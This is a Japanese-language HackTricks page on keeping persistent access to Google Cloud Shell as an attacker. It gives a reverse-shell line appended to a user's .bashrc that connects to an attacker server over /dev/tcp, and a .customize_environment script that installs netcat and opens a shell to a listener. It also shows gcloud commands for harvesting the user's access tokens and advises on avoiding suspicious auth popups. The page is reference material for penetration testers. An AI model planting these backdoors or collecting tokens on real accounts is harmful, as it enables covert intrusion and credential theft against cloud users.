GCP - Cloud Shell Persistence

HackTricksのサポート

Cloud Shell

詳細については、以下をチェックしてください:

GCP - Cloud Shell Enum

永続的なバックドア

Google Cloud Shellは、ブラウザから直接クラウドリソースに対するコマンドラインアクセスを提供し、関連するコストはかかりません。

GoogleのCloud Shellには、webコンソールからアクセスするか、**gcloud cloud-shell ssh**を実行してアクセスできます。

このコンソールには、攻撃者にとって興味深い機能がいくつかあります:

  1. Google Cloudにアクセス権を持つ任意のGoogleユーザーは、完全に認証されたCloud Shellインスタンスにアクセスできます(サービスアカウントは、組織の所有者であっても可能です)。

  2. このインスタンスは、活動がない場合でも少なくとも120日間はホームディレクトリを維持します。

  3. そのインスタンスの活動を監視するための組織の機能はありません

基本的には、攻撃者はユーザーのホームディレクトリにバックドアを設置し、ユーザーが少なくとも120日ごとにGC Shellに接続する限り、バックドアは生き残り、攻撃者は実行されるたびにシェルを取得します。以下を実行するだけです:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

ホームフォルダにはもう1つ**.customize_environmentというファイルがあり、存在する場合は、ユーザーがクラウドシェルにアクセスするたびに実行**されます(前のテクニックと同様)。ユーザーがクラウドシェルを「頻繁に」使用する限り、以前のバックドアまたは次のようなバックドアを挿入して持続性を維持します。

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

認証が必要なアクションが初めて実行されるときには、ユーザーのブラウザにポップアップ認証ウィンドウが表示されます。このウィンドウを受け入れる必要があります。予期しないポップアップが表示されると、疑念を抱かれ、使用されている持続性手法が潜在的に危険にさらされる可能性があります。

これは、クラウドシェル(攻撃者として)からgcloud projects listを実行した際の、ブラウザのユーザーセッションで表示されるポップアップです:

ただし、ユーザーがクラウドシェルを積極的に使用している場合、ポップアップは表示されず、ユーザーのトークンを収集できます:

gcloud auth print-access-token
gcloud auth application-default print-access-token

SSH接続の確立方法

基本的に、以下の3つのAPIコールが使用されます:

しかし、https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key で詳細情報を見つけることができます。

参考文献

Last updated